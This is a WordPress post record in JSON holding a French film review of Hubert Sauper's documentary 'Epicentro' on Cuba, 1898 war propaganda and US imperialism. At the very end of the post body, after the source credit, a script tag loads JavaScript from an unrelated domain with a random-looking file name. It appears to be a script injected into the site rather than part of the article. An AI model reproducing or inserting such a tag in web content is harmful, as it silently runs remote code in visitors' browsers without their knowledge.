{"id":21653,"date":"2020-10-15T21:28:08","date_gmt":"2020-10-15T21:28:08","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=21653"},"modified":"2020-10-16T22:03:27","modified_gmt":"2020-10-16T22:03:27","slug":"21653","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/10\/15\/21653\/","title":{"rendered":"Le film <i> Epicentro <\/i> : Hubert Sauper \u00e0 Cuba"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Dans son nouveau documentaire, <a href=\"https:\/\/fr.wikipedia.org\/wiki\/Hubert_Sauper\">Hubert Sauper<\/a> quitte l\u2019Afrique (la Tanzanie du Cauchemar de Darwin, le Soudan de Nous venons en amis) pour Cuba. Dans l\u2019indigent panorama cin\u00e9matographique actuel (toujours des japonaiseries, toujours des com\u00e9dies avec ou sans Florence Foresti, toujours des femmes qui veulent s\u2019\u00e9manciper, ou bien plus fortiches que les hommes, ou les deux), <a href=\"https:\/\/www.franceameriquelatine.org\/epicentro-portrait-cuba-espaces-latinos-premiere\/\"><i>Epicentro<\/i><\/a> s\u2019impose, par son actualit\u00e9 (o\u00f9 en est Cuba\u00a0?) et par la richesse des mat\u00e9riaux culturels et historiques qu\u2019il met en \u0153uvre.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_23338.jpg\" width=\"310\" height=\"466\" \/>On peut d\u2019abord retenir les images \u00ab\u00a0\u00e0 hauteur d\u2019homme\u00a0\u00bb\u00a0: au cours des d\u00e9ambulations de la cam\u00e9ra \u00e0 travers La Havane, le d\u00e9labrement des b\u00e2timents (rouille, humidit\u00e9) est \u00e9vident. Mais c\u2019est un constat banal\u00a0: les palais construits par les colons espagnols sont aujourd\u2019hui subdivis\u00e9s et peupl\u00e9s par des familles modestes qui n\u2019ont pas les moyens de les entretenir. Du moins, les quartiers centraux de La Havane sont toujours populaires (on sait ce qui arrive lorsqu\u2019on r\u00e9habilite les centres-villes). Et on peut les opposer aux bidonvilles o\u00f9 s\u2019entassent classes pauvres et m\u00eame moyennes dans le reste de l\u2019Am\u00e9rique Latine, comme au bidonville de la premi\u00e8re s\u00e9quence de Soy Cuba, de Kalatozov, sous le r\u00e9gime de Fulgencio Battista et du parrain usam\u00e9ricain, avec ses baraques auxquelles on acc\u00e9dait par des passerelles branlantes, dans une zone inondable. Plus g\u00e9n\u00e9ralement, Sauper nous montre tous les probl\u00e8mes \u00e9conomiques de l\u2019\u00eele, et les cons\u00e9quences de la solution trouv\u00e9e pour pallier le retrait de l\u2019URSS devenu Russie, le d\u00e9veloppement du tourisme, qui aboutit, paradoxalement, pour faire vivre la R\u00e9volution et l\u2019ind\u00e9pendance, \u00e0 d\u00e9poss\u00e9der les Cubains de zones enti\u00e8res de La Havane et de Cuba.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Mais l\u2019ambition du film va bien au-del\u00e0\u00a0: il s\u2019agit de pr\u00e9senter Cuba comme le centre, cosmique et politique, du monde. Super semble s\u2019\u00eatre ici inspir\u00e9 du Chilien Patricio Guzm\u00e1n et de sa <a href=\"https:\/\/www.courrierinternational.com\/revue-de-presse\/festival-de-cannes-la-cordillere-des-songes-le-chili-perdu-de-patricio-guzman\"><i>Cordill\u00e8re des songes<\/i><\/a>\u00a0: les premi\u00e8res images montrent le firmament au-dessus de Cuba, et le film s\u2019ouvre et se ferme sur une m\u00e9taphore cosmique\u00a0: celle des vagues en furie qui balaient le Malec\u00f3n de La Havane. Mais Sauper n\u2019a pas la puissance po\u00e9tique de Guzm\u00e1n, et Cuba appara\u00eet surtout comme l\u2019 \u00e9picentre des bouleversements historiques survenus depuis cinq si\u00e8cles\u00a0: l\u2019exploitation de l\u2019Am\u00e9rique par la traite n\u00e9gri\u00e8re et l\u2019esclavage, le colonialisme, enfin l\u2019imp\u00e9rialisme\u00a0: c\u2019est \u00e0 Cuba que, pour la premi\u00e8re fois, le drapeau des USAa \u00e9t\u00e9 hiss\u00e9 hors du territoire usam\u00e9ricain (aujourd\u2019hui, il flotte sur 8 ou 900 bases militaires \u00e0 l\u2019\u00e9tranger).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Sauper fait donc de 1898 la date symbolique de l\u2019av\u00e8nement de l\u2019Empire usam\u00e9ricain, lorsque l\u2019explosion, le 15 janvier, de <i>l\u2019USS Maine<\/i>, (attribu\u00e9e aux Espagnols*), a offert aux USA le casus belli dont ils avaient besoin pour entrer en guerre, en avril, contre l\u2019Espagne, pour \u00ab\u00a0lib\u00e9rer\u00a0\u00bb l\u2019\u00eele, c\u2019est-\u00e0-dire s\u2019emparer des derni\u00e8res colonies espagnoles (outre Cuba, les USA ont empoch\u00e9 Porto-Rico et les Philippines) et s\u2019assurer le monopole du contr\u00f4le des Am\u00e9riques.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium aligncenter\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_23423.jpg\" width=\"500\" height=\"657\" \/><\/p>\n<p align=\"center\"><strong>La une du <em>New York World<\/em> de Pulitzer du 17 f\u00e9vrier 1898 :\u00a0\u00bbL&rsquo;explosion a \u00e9t\u00e9 caus\u00e9e par une bombe ou une torpille\u00a0\u00bb<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Mais c\u2019est la guerre m\u00e9diatique qui int\u00e9resse Sauper, l\u2019offensive m\u00e9diatique qui a permis de vendre l\u2019agression comme une intervention humanitaire, destin\u00e9e \u00e0 secourir les Cubains opprim\u00e9s par les ignobles Espagnols (avec toute sa puissante technologie, le XXIe si\u00e8cle n\u2019a rien invent\u00e9)\u00a0: les deux magnats rivaux de la presse de l\u2019\u00e9poque, Joseph Pulitzer (dont on donne habituellement une autre image), depuis le <i>New York World<\/i>, et Randolph Hearst, depuis le <i>New York Journal<\/i>, rivalisaient d\u2019images et de r\u00e9cits horrifiques sur la cruaut\u00e9 des Espagnols, publiant par exemple de fausses photos de camps de concentration o\u00f9 les prisonniers cubains mouraient de faim. Mieux, d\u00e8s 1898, Thomas Edison (qu\u2019on conna\u00eet aussi sous un autre jour) inventait le cin\u00e9ma de propagande et fabriquait de pseudo-reportages de guerre o\u00f9 des figurants fusillaient des rebelles cubains, sur le mod\u00e8le du <em>Tres de Mayo<\/em> de Goya.<\/span><\/p>\n<p style=\"text-align: center;\"><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/qd9XuPBN3JI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/p>\n<\/div>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Ce bombardement m\u00e9diatique surexcita le public et permit de fabriquer une opinion publique qui r\u00e9clamait l\u2019entr\u00e9e en guerre.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le film est ainsi une r\u00e9flexion sur la puissance de la propagande qui, \u00e0 force de les r\u00e9p\u00e9ter et de les nourrir, transforme les mythes en r\u00e9alit\u00e9. Mais si Cuba a r\u00e9sist\u00e9 \u00e0 la puissance militaire des EU, elle a aussi r\u00e9sist\u00e9 \u00e0 sa r\u00e9\u00e9criture mythique de l\u2019Histoire. Une des meilleures sc\u00e8nes du film montre un groupe d\u2019enfants qui regardent un \u00ab\u00a0documentaire\u00a0\u00bb usam\u00e9ricain sur l\u2019intervention \u00e0 Cuba\u00a0: ils suivent d\u2019abord les images bouche b\u00e9e \u2013 jusqu\u2019au moment o\u00f9 la voix off d\u00e9clare\u00a0: \u00ab\u00a0C\u2019est ainsi que le drapeau (espagnol) de la tyrannie fut remplac\u00e9 par le drapeau de la libert\u00e9\u00a0\u00bb&#8230; c\u2019est-\u00e0-dire celui des USA! A ce moment, les enfants crient\u00a0: \u00ab\u00a0Non\u00a0! Mensonge\u00a0!\u00a0\u00bb. De m\u00eame, les enfants qui s\u2019expriment dans le film savent \u00ab\u00a0d\u00e9construire\u00a0\u00bb tel film EU montrant la bataille navale dans la rade de Santiago, o\u00f9 les vaisseaux EU d\u00e9truisirent, l\u2019un apr\u00e8s l\u2019autre, les bateaux espagnols qui tentaient d\u2019\u00e9chapper au blocus\u00a0: loin d\u2019admirer cet \u00ab\u00a0exploit\u00a0\u00bb, ils savent que la sc\u00e8ne a \u00e9t\u00e9 tourn\u00e9e dans une baignoire, avec mod\u00e8les r\u00e9duits et truquages.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">L\u2019\u00e9pisode de l\u2019USS Maine permet aussi de se faire une id\u00e9e du personnage de Th\u00e9odore Roosevelt\u00a0: secr\u00e9taire d\u2019Etat \u00e0 la Marine, il joua un r\u00f4le important dans la marche \u00e0 la guerre\u00a0; celle-ci une fois d\u00e9clar\u00e9e, il d\u00e9missionna pour s\u2019enr\u00f4ler en tant que lieutenant-colonel des Rough Riders (les Durs de la Cavalerie) et ce sont ses exploits guerriers qui lui permirent de devenir Pr\u00e9sident de 1901 \u00e0 1909, et de pr\u00f4ner la diplomatie du \u00ab\u00a0Big Stick\u00a0\u00bb.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_21274.jpg\" width=\"592\" height=\"477\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La prise de possession de Cuba par les USA a \u00e9t\u00e9 un \u00e9v\u00e9nement d\u00e9terminant dans l\u2019histoire de l\u2019imp\u00e9rialisme usam\u00e9ricain\u00a0: jusque-l\u00e0 limit\u00e9s par la doctrine Monroe (contr\u00f4le de l\u2019arri\u00e8re-cour latino-am\u00e9ricaine), les USA d\u00e9cident alors de devenir aussi les ma\u00eetres du reste du monde. Wikip\u00e9dia (m\u00eame article) reproduit l\u2019\u00e9ditorial f\u00e9roce du <i>Washington Post<\/i> du 2 juin 1898\u00a0: \u00ab\u00a0Le go\u00fbt de l\u2019Empire est sur nos l\u00e8vres, semblable au go\u00fbt du sang dans la jungle\u00a0\u00bb\u00a0, confirm\u00e9 par l\u2019historien Howard Zinn\u00a0: \u00ab\u00a0D\u00e9sormais, le go\u00fbt de l\u2019empire poss\u00e9dait aussi bien les politiciens que les milieux d\u2019affaires \u00e0 travers le pays\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Sous l\u2019angle historique, l\u2019id\u00e9e de Cuba comme \u00e9picentre est donc irr\u00e9futable. Mais c\u2019est cet aspect du film que <i>Lib\u00e9ration<\/i> (d\u00e9cid\u00e9ment journal d\u2019extr\u00eame-droite\u00a0: m\u00eame <i>Le Monde<\/i> f\u00e9licite Sauper de ne pas prendre parti dans ce film)) d\u00e9nigre, sous la plume de Laura Tuillier\u00a0: \u00ab\u00a0Sous l\u2019angle de la propagande, Hubert Sauper explore le roman national du pays\u00a0\u00bb\u00a0; \u00ab\u00a0on se serait bien pass\u00e9 de ce hasardeux enrobage t\u00e9l\u00e9ologique\u00a0(c\u2019est-\u00e0-dire l\u2019id\u00e9e de Cuba \u00ab\u00a0\u00e9picentre originel de l\u2019expansion sans fin de la puissance am\u00e9ricaine\u00a0\u00bb). Par contre, Laura Tuillier a beaucoup aim\u00e9 l\u2019id\u00e9e \u00ab\u00a0qui consiste \u00e0 recueillir, au fil des nuits, un r\u00e9cit officiel tant r\u00e9p\u00e9t\u00e9 et d\u00e9form\u00e9 qu\u2019il devient une sorte de conte vague que les enfants racontent en riant\u00a0\u00bb. Autrement dit, lorsqu\u2019elle analyse le film, elle fait un contre-sens total\u00a0: en d\u00e9non\u00e7ant les mythes de l\u2019histoire des USA, Sauper fait de la propagande\u00a0; en rappelant la lib\u00e9ration de Cuba par Fidel Castro et ses \u201c\u00a0barbudos\u00a0\u201d, il contribue \u00e0 construire des mythes. Elle ne veut pas entendre la ferveur de ces enfants noirs, fiers de ce que leur pays ait mis en \u00e9chec les USA et que la victoire de la R\u00e9volution ait mis fin \u00e0 l\u2019esclavage.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Mais c\u2019est ce r\u00f4le envahissant des enfants noirs qui est discutable, car il d\u00e9nature la premi\u00e8re conception du film (celle de l\u2019\u00a0\u00ab\u00a0epicentro\u00a0\u00bb)\u00a0: Sauper n\u2019a-t-il pas eu tort de se laisser s\u00e9duire par le bagout de deux fillettes d\u00e9lur\u00e9es et cabotines, ainsi que d\u2019une jeune femme forte en gueule, dont les d\u00e9clarations tonitruantes n\u2019aboutissent qu\u2019\u00e0 des lieux communs\u00a0: \u00ab\u00a0tous les peuples sont gentils, c\u2019est les dirigeants qui sont m\u00e9chants\u00a0\u00bb ou \u00ab\u00a0heureusement, face aux probl\u00e8mes, on a l\u2019alcool et la salsa\u00a0\u00bb (et une sc\u00e8ne fait de Cuba le pays o\u00f9 les b\u00e9b\u00e9s dansent avant m\u00eame de savoir marcher\u00a0!). On ne peut du reste pas s\u2019emp\u00eacher de trouver g\u00eanante la fa\u00e7on dont Sauper, pour les besoins du film, flatte les illusions des fillettes qui veulent devenir actrices ou chanteuses \u00ab\u00a0comme Beyonc\u00e9\u00a0\u00bb (car si le peuple cubain r\u00e9siste aux mythes historiques des Etats-Unis, il r\u00e9siste moins bien aux s\u00e9ductions du spectacle hollywoodien).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La derni\u00e8re partie du film est aussi desservie par une faute de go\u00fbt, qui est aussi une faute morale ou politique\u00a0: dans un film qui donnait presque toujours la parole \u00e0 des Noirs, appara\u00eet tout \u00e0 coup une cr\u00e9ature de r\u00eave, toute blanche, au visage de Madone, (qui tient la cam\u00e9ra sous son charme), qui vient faire la le\u00e7on aux enfants noirs, leur donnant un cours de th\u00e9\u00e2tre d\u2019un go\u00fbt douteux, ou leur apprenant \u00e0 d\u00e9crypter un film de propagande (ce que ces enfants semblaient tr\u00e8s bien faire d\u2019eux-m\u00eames). C\u2019est m\u00eame elle qui est charg\u00e9e d\u2019exprimer l\u2019\u00e2me de Cuba, en entonnant \u00e0 plein gosier une chanson qui r\u00e9duit les enfants cubains au r\u00f4le de public silencieux. Qui est donc cette sorte de deus ex machina\u00a0? C\u2019est Oona Castilla Chaplin, petite-fille de Charlie Chaplin, une hispano-chilienne de culture anglo-saxonne qui a jou\u00e9 dans <i>Game of Thrones<\/i>, qui fait regarder <i>Le Dictateur<\/i> aux enfants, de fa\u00e7on cette fois compl\u00e8tement passive (\u00ab\u00a0C\u2019est mon grand-p\u00e8re\u00a0\u00bb, remarque-t-elle seulement).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Epicentro est donc un documentaire d\u2019un contenu extr\u00eamement riche, m\u00eame s\u2019il n\u2019apporte pas sur le Cuba actuel toutes les informations qu\u2019on esp\u00e9rait &#8211; pour cela, on peut lire <i>Y Dios entr\u00f3 en La Habana<\/i>, de Manuel V\u00e1zquez Montalb\u00e1n, m\u00eame s\u2019il date de 1998\u00a0; on peut aussi rappeler un remarquable documentaire catalano-espagnol de 2002, <i>Balseros<\/i>, de Carles Bosch et Joan Maria Dom\u00e8nech\u00a0: commenc\u00e9 en 1994, lors de la grande crise des <i>boat people<\/i> cubains, qui tentaient de rallier la Floride sur des embarcations de fortune, il vaut surtout pour la suite que les auteurs y apport\u00e8rent en 2002, en allant voir ce qu\u2019\u00e9taient devenus les sept candidats \u00e0 l\u2019\u00e9migration qu\u2019ils avaient suivis, et en constatant l\u2019\u00e9cart entre leurs r\u00eaves et la r\u00e9alit\u00e9 qu\u2019ils avaient trouv\u00e9e aux Etats-Unis.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><i>Epicentro<\/i> conclut donc sans avoir vraiment approfondi la question\u00a0: O\u00f9 en est Cuba\u00a0?, et sa conclusion est tr\u00e8s am\u00e8re\u00a0: l\u2019utopie est un autre fil conducteur du film, et Cuba appara\u00eet comme une utopie, ou une uchronie, dans le sens o\u00f9 elle serait non pas une promesse, mais un anachronisme. C\u2019est l\u00e0, selon l\u2019auteur, son attrait\u00a0: les touristes veulent vivre cette exp\u00e9rience avant que l\u2019ouragan de l\u2019Histoire ne la balaie. On peut cependant lui reprocher un certain manque de coh\u00e9rence dans la forme (mais aussi quelques curieuses fautes de go\u00fbt), ce qui rend, heureusement pour ceux qui aimeraient, malgr\u00e9 tout esp\u00e9rer, sa d\u00e9monstration moins convaincante.<\/span><\/p>\n<p style=\"text-align: justify;\" align=\"justify\"><strong><span style=\"font-size: 12pt;\">NdE<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\" align=\"justify\"><span style=\"font-size: 12pt;\">*Sur l\u2019explosion de l\u2019USS Maine, une s\u00e9rie d\u2019enqu\u00eates, men\u00e9es de 1974 \u00e0 2002 aux USA, concluent toutes que les Espagnols n\u2019y furent pour rien mais qu\u2019elle \u00e9tait vraisemblablement due \u00e0 une combustion spontan\u00e9e de l\u2019anthracite utilis\u00e9 comme combustible, provoquant l\u2019explosion du r\u00e9servoir \u00e0 munitions.<\/span><\/p>\n<p style=\"text-align: center;\" align=\"justify\"><iframe loading=\"lazy\" title=\"vimeo-player\" src=\"https:\/\/player.vimeo.com\/video\/456483843\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p align=\"justify\"><span style=\"font-size: 14pt;\"><strong><span class=\"auteur\">Rosa Llorens \u03a1\u03cc\u03b6\u03b1 \u039b\u03b9\u03ce\u03c1\u03b5\u03bd\u03c2<\/span><\/strong><\/span><\/p>\n<p align=\"justify\"><span style=\"font-size: 14pt;\">Traducciones disponibles: <a href=\"http:\/\/www.lapluma.net\/2020\/10\/15\/21653\/\">Espa\u00f1ol<\/a><\/span><\/p>\n<\/div>\n<p align=\"justify\"><span style=\"font-size: 14pt;\">Fuente: <a href=\"http:\/\/tlaxcala-int.org\/article.asp?reference=29810\">Tlaxcala<\/a>, 13 de octubre de 2020<\/span><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ab\u00a0Le go\u00fbt de l\u2019Empire est sur nos l\u00e8vres, semblable au go\u00fbt du sang dans la jungle\u00a0\u00bb\u00a0, confirm\u00e9 par l\u2019historien Howard Zinn\u00a0: \u00ab\u00a0D\u00e9sormais, le go\u00fbt de l\u2019empire poss\u00e9dait aussi bien les politiciens que les milieux d\u2019affaires \u00e0 travers le pays\u00a0\u00bb.<\/p>\n","protected":false},"author":564,"featured_media":21660,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[8],"tags":[],"coauthors":[8077],"class_list":["post-21653","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-culture"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":true,"content":true,"excerpt":true}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21653","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/564"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=21653"}],"version-history":[{"count":12,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21653\/revisions"}],"predecessor-version":[{"id":21657,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21653\/revisions\/21657"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/21660"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=21653"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=21653"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=21653"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=21653"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}